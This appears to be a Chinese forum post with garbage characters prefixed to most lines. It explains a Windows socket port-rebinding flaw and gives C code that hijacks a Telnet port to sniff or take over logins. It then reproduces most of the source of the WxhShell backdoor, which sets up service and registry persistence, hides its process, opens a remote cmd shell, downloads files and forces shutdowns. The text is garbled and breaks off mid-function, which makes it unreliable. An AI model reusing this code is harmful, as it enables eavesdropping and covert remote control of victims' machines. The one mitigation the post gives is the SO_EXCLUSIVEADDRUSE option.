在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
kk6
!krZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M!Ao!D[ 0#eb] c saddr.sin_family = AF_INET;
[J}eNprg ?HZ^V saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7x>^ip"7 Q2r[^Z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
zEtsMU aK;OzB) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b~:)d>s8wY KB|mtsi 这意味着什么?意味着可以进行如下的攻击:
%A'mXatk {.AN4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;hO6 p
D:bmq93PC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gDLS)4^w EJTM
>Rpor 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
nb=mY&q}~ 4c 8{AZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l1'v`! RH<2f5-sC! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M.}J SDt kBcTXl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rDbtT*vN JG'%HJ"D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1uj~/M d]O:VghY\ #include
v+ in:\Dv #include
gMF6f% #include
7:pc%Ksq #include
;5[OS8 DWORD WINAPI ClientThread(LPVOID lpParam);
d wG!]j>:_ int main()
ud5}jyJ {
3lZl WORD wVersionRequested;
vVvF e~y] DWORD ret;
nCWoco.xy WSADATA wsaData;
gFHBIN;u BOOL val;
2p](`Y` SOCKADDR_IN saddr;
S%}G 8Ty SOCKADDR_IN scaddr;
p{LbTjdNc int err;
Q\kWQOB_ SOCKET s;
6wWhM&Wd SOCKET sc;
YlbX_h2S" int caddsize;
>wmHCOL: HANDLE mt;
C 4C/ DWORD tid;
"q M wVersionRequested = MAKEWORD( 2, 2 );
i56Rdb err = WSAStartup( wVersionRequested, &wsaData );
axvZA:l if ( err != 0 ) {
ph6'(, printf("error!WSAStartup failed!\n");
tyW}=xs return -1;
uuwJ- }
}lX$KuD saddr.sin_family = AF_INET;
OHBCanZZ, ydO+=R0M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
EF\OM?R 1q-;+Pd; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
*6AV^^ saddr.sin_port = htons(23);
*`u|1}h| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}vU/]0@,E {
oJQS&3;/r printf("error!socket failed!\n");
9M27;"gK return -1;
YFJaf"?8g }
d}:-Q? val = TRUE;
u3O@ccJ; //SO_REUSEADDR选项就是可以实现端口重绑定的
mih}?oi if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,:L^vG@* {
Lr:n printf("error!setsockopt failed!\n");
B//*hH >F return -1;
z/4<x?}+hE }
)SJM:E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3 5.&!4} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
( `bb1gz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$%DoLpE> N ~=PecQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)GVTa4}p {
-F `GZ ret=GetLastError();
NN'pBUR printf("error!bind failed!\n");
|\uj(| return -1;
l3 F$5n }
>YWK"~|i~ listen(s,2);
)4B`U(%M~ while(1)
4PxP*j {
N7lg6$s Aj caddsize = sizeof(scaddr);
Rh~b," //接受连接请求
6Y]P7j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,.ivdg(/ if(sc!=INVALID_SOCKET)
&nr{-][ {
^P~,bO&H.Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vi^YtA if(mt==NULL)
_";w*lg} {
PVlCj printf("Thread Creat Failed!\n");
+W[f>3`VQ break;
K1J |\!o }
8,IF%Z+LI }
e16H@ CloseHandle(mt);
t{iRCj }
tT)s,R% closesocket(s);
>Z_;ZMu) WSACleanup();
tkk8b6%h?p return 0;
PjBAf' }
,v}) DWORD WINAPI ClientThread(LPVOID lpParam)
t adeG {
V~ KWy@7 SOCKET ss = (SOCKET)lpParam;
Pv2uZH( SOCKET sc;
RN)XIf$@_ unsigned char buf[4096];
9:@Xz5 SOCKADDR_IN saddr;
{f`Y\_r$@ long num;
]j:k!=Ss? DWORD val;
*Oy*
\cX2[ DWORD ret;
0;><@{' //如果是隐藏端口应用的话,可以在此处加一些判断
fn
'n'X| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]vf0 f,F saddr.sin_family = AF_INET;
3>7{Q_5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z4BU}`;b3t saddr.sin_port = htons(23);
MnFrQC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0M;El2
P$ {
QnS^ G{ printf("error!socket failed!\n");
\\:%++}J return -1;
5`fUR/|[ }
]N]Fb3 val = 100;
9FSa=<0wE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"1Hn?4nz5 {
lG0CCOdQ ret = GetLastError();
dpq(=s`s return -1;
:n13v@q }
B/a`5&G] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)C?H m^# {
ej_u):G* ret = GetLastError();
%$zak@3%' return -1;
;5X~"#%U_ }
({Md({| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\jk*Nm8; {
_ s}aF printf("error!socket connect failed!\n");
!Ltx2CB2] closesocket(sc);
)=}qAVO8 closesocket(ss);
',`Qx{tQ) return -1;
aE)1LP }
qB_s<cpn> while(1)
~
i+XVo {
[>dDRsZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`` g //如果是嗅探内容的话,可以再此处进行内容分析和记录
X);'[/]E* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>>J$`0kM* num = recv(ss,buf,4096,0);
/_J{JGp9 if(num>0)
rWJ5C\R
send(sc,buf,num,0);
",aNYJR>*! else if(num==0)
~{{S<S
v break;
x#SE%j? num = recv(sc,buf,4096,0);
jRiMWolLv if(num>0)
^g(qPtQ send(ss,buf,num,0);
Q]=/e7 else if(num==0)
\='LR!_ break;
t{},Th }
M}X ` closesocket(ss);
30WOH
'n closesocket(sc);
9teP4H}m return 0 ;
.u
ikte }
Y5C kC F .
U6(>6- y7h^_D+Ce ==========================================================
>ryA:TO{ "#pxZ
B= 下边附上一个代码,,WXhSHELL
,(h- -?#iPvk6 ==========================================================
IfB .2e` Z}0{FwW"4 #include "stdafx.h"
hC"'cUrcN bR~Xog #include <stdio.h>
F;`c0ja] #include <string.h>
HFjSM~ #include <windows.h>
8*b{8%<K #include <winsock2.h>
T&/n.-@nk #include <winsvc.h>
2dHO!A$RF #include <urlmon.h>
I@VzH(da\ {Lv"wec*x #pragma comment (lib, "Ws2_32.lib")
:F6dXW #pragma comment (lib, "urlmon.lib")
h`9 & :zr :+\sKEzL #define MAX_USER 100 // 最大客户端连接数
i^:#*Q-co #define BUF_SOCK 200 // sock buffer
Ms5qQ<0v_ #define KEY_BUFF 255 // 输入 buffer
$s1/Rmw Q}\\0ajS) #define REBOOT 0 // 重启
Zbre5&aU #define SHUTDOWN 1 // 关机
1O0)+9T82 Q'=7#_ #define DEF_PORT 5000 // 监听端口
NL|c5y<r 7P2(q #define REG_LEN 16 // 注册表键长度
p9G+la~;VM #define SVC_LEN 80 // NT服务名长度
a3M I+ W Pr:d // 从dll定义API
2Jiy`(P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r<(UN@T} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
(p#c p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#'f5owk>, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ddl]!
^IK $A 5O> // wxhshell配置信息
Kp7)my struct WSCFG {
X4\T=Q?uLx int ws_port; // 监听端口
!!ZGNZ_ char ws_passstr[REG_LEN]; // 口令
v]@ XyF\j8 int ws_autoins; // 安装标记, 1=yes 0=no
oVP,ar0G char ws_regname[REG_LEN]; // 注册表键名
T[e+iv<8j char ws_svcname[REG_LEN]; // 服务名
sF :pwI5^ char ws_svcdisp[SVC_LEN]; // 服务显示名
v~AshmP char ws_svcdesc[SVC_LEN]; // 服务描述信息
k
t!@}QP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
I_Lm[ int ws_downexe; // 下载执行标记, 1=yes 0=no
rIB./, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
X7K{P_5l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ktfxb<% Ux^ue9 };
CTg79
ITYk l{3zlXk3z // default Wxhshell configuration
y"Fu= struct WSCFG wscfg={DEF_PORT,
-0;{ "xuhuanlingzhe",
!Y|xu07 1,
hJ%$Te "Wxhshell",
"* FjEA6= "Wxhshell",
lz>.mXdx "WxhShell Service",
.1^Kk3 "Wrsky Windows CmdShell Service",
R(_WTs9x4 "Please Input Your Password: ",
ncUhCp?' 1,
so.}WU "
http://www.wrsky.com/wxhshell.exe",
#%$@[4"V "Wxhshell.exe"
YVF@v-v-, };
[Pq
|6dz f$}g'r zl // 消息定义模块
KMfIp:~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0wqw5KC char *msg_ws_prompt="\n\r? for help\n\r#>";
rVOF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=s:kC`O char *msg_ws_ext="\n\rExit.";
L?a4>uVY char *msg_ws_end="\n\rQuit.";
2\64~a^ char *msg_ws_boot="\n\rReboot...";
6&~Z3|<e char *msg_ws_poff="\n\rShutdown...";
M/F<W! char *msg_ws_down="\n\rSave to ";
'Q]Wk75 d7g$9&/q char *msg_ws_err="\n\rErr!";
&uaSp,L char *msg_ws_ok="\n\rOK!";
l(3PxbT hqHk,# char ExeFile[MAX_PATH];
KDP&I J int nUser = 0;
JB5%\ HANDLE handles[MAX_USER];
32j#kJ W int OsIsNt;
H%=;pD>o 5xUZeLj SERVICE_STATUS serviceStatus;
ey<z#Q5+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
4R01QSbd fCs{%-6cP // 函数声明
75P!`9bE int Install(void);
F|VHr@% int Uninstall(void);
i 28TH
Jh int DownloadFile(char *sURL, SOCKET wsh);
K",Xe> int Boot(int flag);
v'`qn void HideProc(void);
rOUQg_y int GetOsVer(void);
h;(mb2[R int Wxhshell(SOCKET wsl);
F!I9)PSj void TalkWithClient(void *cs);
(?T{^Hg int CmdShell(SOCKET sock);
3-;<G int StartFromService(void);
SFP?ND+7 int StartWxhshell(LPSTR lpCmdLine);
*fy aAv ,5~C($-t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bFA
lC VOID WINAPI NTServiceHandler( DWORD fdwControl );
y~t
e!C "f3mi[ // 数据结构和表定义
f@Ve,i SERVICE_TABLE_ENTRY DispatchTable[] =
gm:Y@6W {
u
XZ ;K. {wscfg.ws_svcname, NTServiceMain},
2=7[r-*E {NULL, NULL}
]$UTMuOQl };
&R<K>i HDE5Mg " // 自我安装
i(# Fjp int Install(void)
hf)RPG& {
N /2WUp char svExeFile[MAX_PATH];
CAA3-"Cwi HKEY key;
o {q8An) strcpy(svExeFile,ExeFile);
WwKpZ67$R JNvgUb'U // 如果是win9x系统,修改注册表设为自启动
n0':6*oGW if(!OsIsNt) {
Gh3f^PWnc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$b_~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U+D# RegCloseKey(key);
&d!ASa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>N~jlr | RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:.-KM7tDI1 RegCloseKey(key);
L&5zr_ return 0;
m+pK,D~{" }
WdJeh:h }
?WS.RB e2 }
3c` else {
n:<Xp[;R ay{]Vqi9 // 如果是NT以上系统,安装为系统服务
*`bES V
: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6l"4F6 if (schSCManager!=0)
@'J~(#} {
tg%Sn+: SC_HANDLE schService = CreateService
O15~\8#' (
3Dh{#"88 schSCManager,
1iM(13jW wscfg.ws_svcname,
d-8g wscfg.ws_svcdisp,
$iH SERVICE_ALL_ACCESS,
5VN~?#K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
NfCo)C-t SERVICE_AUTO_START,
O]25{L SERVICE_ERROR_NORMAL,
I|/|\ svExeFile,
yaI jXv NULL,
--`W1!jI@ NULL,
Sn;q:e3i{A NULL,
nu16L$] NULL,
BMU#pK;P] NULL
KWw?W1H );
z5f3T D6, if (schService!=0)
r)G)i;;~* {
m&_!*3BAG CloseServiceHandle(schService);
]7|qhAh<L CloseServiceHandle(schSCManager);
X5Y. o& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b%j4W)Z strcat(svExeFile,wscfg.ws_svcname);
_z"\3hZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z= pvoTY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PB{5C*Y7^k RegCloseKey(key);
Dx P65wU return 0;
> 3l3 }
K}LF ${bS }
. Eb=KG CloseServiceHandle(schSCManager);
cgQ2Wo7tCq }
Q#4OgNt }
qyBo|AQ5 *^\u%Ir" return 1;
Vgj[m4l }
_ [hVGCSB uKT\\1Jrq // 自我卸载
{~=gKZ:-@ int Uninstall(void)
D rouEm {
yyjgPbLN= HKEY key;
<$nMqUu0 Wb{8WPS if(!OsIsNt) {
**n109R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q>/[*(.Wd RegDeleteValue(key,wscfg.ws_regname);
%BkPkQA RegCloseKey(key);
C9`x"$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
s:sk`~2<gd RegDeleteValue(key,wscfg.ws_regname);
).r04)/ RegCloseKey(key);
g$Nsu:L return 0;
;q2e[ y }
z-kB!~r }
!wjD6NK }
8qq'q"g else {
GYri\ <[ xC$CRzAe5p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
HD}3mP if (schSCManager!=0)
*C^`+*}OE$ {
*3y:Wv T> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
f87lm*wZ if (schService!=0)
YYd!/@|N5 {
Rd+`b if(DeleteService(schService)!=0) {
>!P !F( CloseServiceHandle(schService);
"Ze<dB#,Y CloseServiceHandle(schSCManager);
7t/C:2^& return 0;
onUF@3V }
ZOHGGO]1M CloseServiceHandle(schService);
`S/;S<'; }
a#P{ [ CloseServiceHandle(schSCManager);
ey[+"6Awne }
d?OsVT;U }
{(`xA,El '.tg\]| return 1;
H?'t>JX }
U\tujK1 )u5+<OG}= // 从指定url下载文件
(fnp\j3w int DownloadFile(char *sURL, SOCKET wsh)
0$q)uip {
Yg3emn|a HRESULT hr;
;rh@q4# char seps[]= "/";
Y[alOJ char *token;
~@ hiLW char *file;
}tH6E char myURL[MAX_PATH];
GMoE,L char myFILE[MAX_PATH];
Nc[u?-
1"} u51 strcpy(myURL,sURL);
8|\?imOp\[ token=strtok(myURL,seps);
t9m08K:Y while(token!=NULL)
t>(}LV. {
NT [~AK9M file=token;
LD)P.
f token=strtok(NULL,seps);
xw&N[y5 }
{vAv ;m o51jw(wO GetCurrentDirectory(MAX_PATH,myFILE);
EEO)b_( strcat(myFILE, "\\");
X/`M'8v.% strcat(myFILE, file);
nfjwWDH send(wsh,myFILE,strlen(myFILE),0);
;_=+h,n send(wsh,"...",3,0);
*z\L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
HFrwf{J if(hr==S_OK)
JG!@(lr return 0;
ir3EA'_>N else
<Yy|.=6 D return 1;
y j C@ :/'oh]T| }
+HNM$yp $/;;}|hqi // 系统电源模块
InR/g@n+D1 int Boot(int flag)
"E )0)A3= {
!%%(o%bi~ HANDLE hToken;
K-drN)o TOKEN_PRIVILEGES tkp;
+OC~y: q`^T7 if(OsIsNt) {
E >lW' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d;O4)8> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O;?Nz:/q tkp.PrivilegeCount = 1;
l|&DI]gw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0P_3% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^5BQ= if(flag==REBOOT) {
\J,pV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
O4A{GO^q return 0;
&S+ooj }
Ow4H7sl else {
X[KHI1@w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o+^5W return 0;
%6@->c{ }
-yP_S~\n }
&)v}oHy,m else {
~zT7 43 if(flag==REBOOT) {
b;%>?U`>p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
I&G"{Dl94 return 0;
?."YP[; }
~V6wcXd else {
n(tx'&U"R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%uy5la return 0;
.-HwT3 }
8rY[Q(] }
{<1 ]cP y$C\b\hM return 1;
ErXzKf }
u</LgOP`- <P1yA>=3` // win9x进程隐藏模块
Th>ff)~e void HideProc(void)
G"|`&r@ {
%$CV?K$C cHjnuL0fsy HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qaZQ1<e if ( hKernel != NULL )
p]erk {
]
g]^^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{f:%+h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
WYXh1_nyk FreeLibrary(hKernel);
'| rhm }
::R5F4 \qj(`0HG return;
SM8Wg> }
0S71&I$u] G24Ov&H // 获取操作系统版本
7/b\NLeJ' int GetOsVer(void)
)LDBvpJyQ {
5Sv;a(} OSVERSIONINFO winfo;
JsD|igqF- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vA&MJD{ GetVersionEx(&winfo);
Jwt_d}ns if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
j9^V)\6) return 1;
N83c+vs%c else
hxe X6 return 0;
e
.1!
K }
*BFG{P PEDV9u[A // 客户端句柄模块
>PmnR>x-rj int Wxhshell(SOCKET wsl)
S";c7s {
&f($= 68 SOCKET wsh;
9mRP%c#( struct sockaddr_in client;
KIXp+Z DWORD myID;
]wm<$+@ !\Vc#dslt while(nUser<MAX_USER)
&\$~ {
)wyC8` &- int nSize=sizeof(client);
-"uOh,G} wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*r(Qy0( if(wsh==INVALID_SOCKET) return 1;
{U"=}j( d`9ofw~3= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z,xGjSP if(handles[nUser]==0)
:Fh#"<A&& closesocket(wsh);
l#bE_PD; else
BHN EP |= nUser++;
MmQ"z_v }
7 F> a&r WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K;j0cxl 45A|KaVpg return 0;
gJBw6'Z }
v+(-\T\i pPsT,i? // 关闭 socket
I_\?w SNGM void CloseIt(SOCKET wsh)
=M9;`EmC {
A"i$.dR{ closesocket(wsh);
ZgA+$}U)uW nUser--;
.oH)eD ExitThread(0);
i[/`9 AK }
z07Xj%zX9 i62GZeE // 客户端请求句柄
PvB{@82 void TalkWithClient(void *cs)
+;/ s0 {
8/T[dn ;u;_\k<qK SOCKET wsh=(SOCKET)cs;
7_ s7); char pwd[SVC_LEN];
\=uD)9V char cmd[KEY_BUFF];
.H
9r_ char chr[1];
o@sL/5, int i,j;
weC.kx TpcJ1*t while (nUser < MAX_USER) {
kX%vTl7F d.$0X/0 if(wscfg.ws_passstr) {
Q8D#kAYw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
oy\U\#k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.<4U2h //ZeroMemory(pwd,KEY_BUFF);
Qz4Do6#y i=0;
T~8kKw while(i<SVC_LEN) {
s"5wnp6pW Y1G/1Z# 2 // 设置超时
(f;.`W fd_set FdRead;
p^k*[3$0 struct timeval TimeOut;
Zu/w[*;M FD_ZERO(&FdRead);
L$6W,D FD_SET(wsh,&FdRead);
B$ jX%e{:S TimeOut.tv_sec=8;
^h!}jvqE TimeOut.tv_usec=0;
_$_,r H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,H>'1~q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mO2u9?N _%G;^ b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~S\8 ' pwd
=chr[0]; 5a&BgBO1M
if(chr[0]==0xd || chr[0]==0xa) { zl<D"eP
pwd=0; <:4b4Nl
break; SZvp%hS0
} ipyc(u6Z5
i++; -ImVXy]?
} YI>9C 76L
e$7KMH=
// 如果是非法用户,关闭 socket W`uq,r0Xsy
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;FJFr*PM
} [>KnMi=o)
p
z\8Bp}yo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q^*4FH!W
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Irui{%T
%bS1$
v\n
while(1) { p<+Y;,+
!P3y+;S
ZeroMemory(cmd,KEY_BUFF); sQ.t3a3m
57KrDxE}
// 自动支持客户端 telnet标准 X?o6=)SC|
j=0; 7{\6EC}d[&
while(j<KEY_BUFF) { ~r_2V$sC2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $WXO1o(O
cmd[j]=chr[0]; 8[;AFm ?,`
if(chr[0]==0xa || chr[0]==0xd) { f>|Wd;7l:
cmd[j]=0; + w'q5/`
break; '61>.u:2
} "U/yq
j++; Nw{Cu+AwG
} iJ`zWpj+{Q
/>wE[`
// 下载文件 gC(@]%
if(strstr(cmd,"http://")) { 2fg
P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); p-xG&CU
if(DownloadFile(cmd,wsh)) +8Y|kC{9"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7{:F\S
else dQ_hlx!J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (|>rDk;
} -A@/cS%p
else { l6zYiM
1Tr%lO5?6
switch(cmd[0]) { =RAojoN
^B1$|C
D,
// 帮助 >pp#>{}
case '?': { NFF!g]QN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7'#_uAQR
break; R3>c\mA
} E 02Y,C
// 安装 |*^}e54
case 'i': { N>CNgUyP
if(Install()) :| !5d{8S8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sp2DpGs~
else 3 .K #,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >.I9S{7
break; uAV7T /'
} WrS>^\:
// 卸载 q\-P/aN_
case 'r': { F]fXS-@ c
if(Uninstall()) z,bK.KFSs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ym+Ezb#o
else j#xGB]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "dT"6,
break; 10)RLh|+
} {T-^xwc
// 显示 wxhshell 所在路径 1 e]D=2y
case 'p': { Z;,G:@,
char svExeFile[MAX_PATH]; 0
vYG#S
strcpy(svExeFile,"\n\r"); \C>+ubF
strcat(svExeFile,ExeFile); Zl{9G?abCT
send(wsh,svExeFile,strlen(svExeFile),0); 3 NFo=Z8
break; x6^Y&,y9kU
} @AM11v\:
// 重启 e)N<r
case 'b': { r*dNta<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ud7Z7?Ym
if(Boot(REBOOT)) PT
}J.Dwx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;x*~0GZ
else { !8D>Bczq)
closesocket(wsh); 7&9w_iCkV
ExitThread(0); CO9PQ`9+
} ?rA3<j
break; Eg8b|!-')8
} q6 ny2;/r
// 关机 Zd88+GS,#
case 'd': { #kh:GAp]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p<z eaf0W
if(Boot(SHUTDOWN)) 5S,Kq35$(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )8oN$20
else { J_fs}Y1q\
closesocket(wsh); O#t[YP
ExitThread(0); dPbn[*:
} ~9xkiu5~
break; axDa&7%
} pwk Te
// 获取shell \<\H1;=.@'
case 's': { &]GR*a
CmdShell(wsh); *X{7m]5
closesocket(wsh); K&zW+C b
ExitThread(0); 8};kNW^2m
break; %-$BtR2@o
} U{/fY/kq
// 退出 =@S
a\;
case 'x': { _/'VD!(MV
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T?QW$cU!e:
CloseIt(wsh); `<g6^ P
break; rS+) )!
} FJ4,|x3v[x
// 离开 a+\<2NXYD
case 'q': { 5ba e-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j S[#R_
closesocket(wsh); fVf:voh
WSACleanup(); q
|FOU
exit(1); tW94\3)1
break; O9E:QN<U`*
} LokH4A17U
} :WX
OD
} u|T]Ne
/zb/am1#
// 提示信息 (z.n9lkfi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZNM9@;7
} |TP,
} ^,mN-.W
lM}-'8tt?
return;
iF":c}$.
} /H"fycZ
/CMgWGI
// shell模块句柄 09trFj$L
int CmdShell(SOCKET sock) 7(uz*~Z?`0
{ :CK`v6 Qs
STARTUPINFO si; DB65vM
ZeroMemory(&si,sizeof(si)); ,|3_@tUl
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?o$t{AQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OzD\*,{7
PROCESS_INFORMATION ProcessInfo; Wh)
char cmdline[]="cmd"; 7}y@VO6]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6wj o:I
return 0; u$C\#y7
} ]1XtV<
J*MH`;-
// 自身启动模式 a/J Mg
int StartFromService(void) 0nL
#-`S
{ &VA^LS@b
typedef struct 71Za!3+
{ pgiZA?r*<
DWORD ExitStatus; 2O*At%CzW
DWORD PebBaseAddress; 6W{Nw<
DWORD AffinityMask; +Ugy=678Tr
DWORD BasePriority; 8>W52~^fU
ULONG UniqueProcessId; leb/D>y
ULONG InheritedFromUniqueProcessId; !=PH5jTY
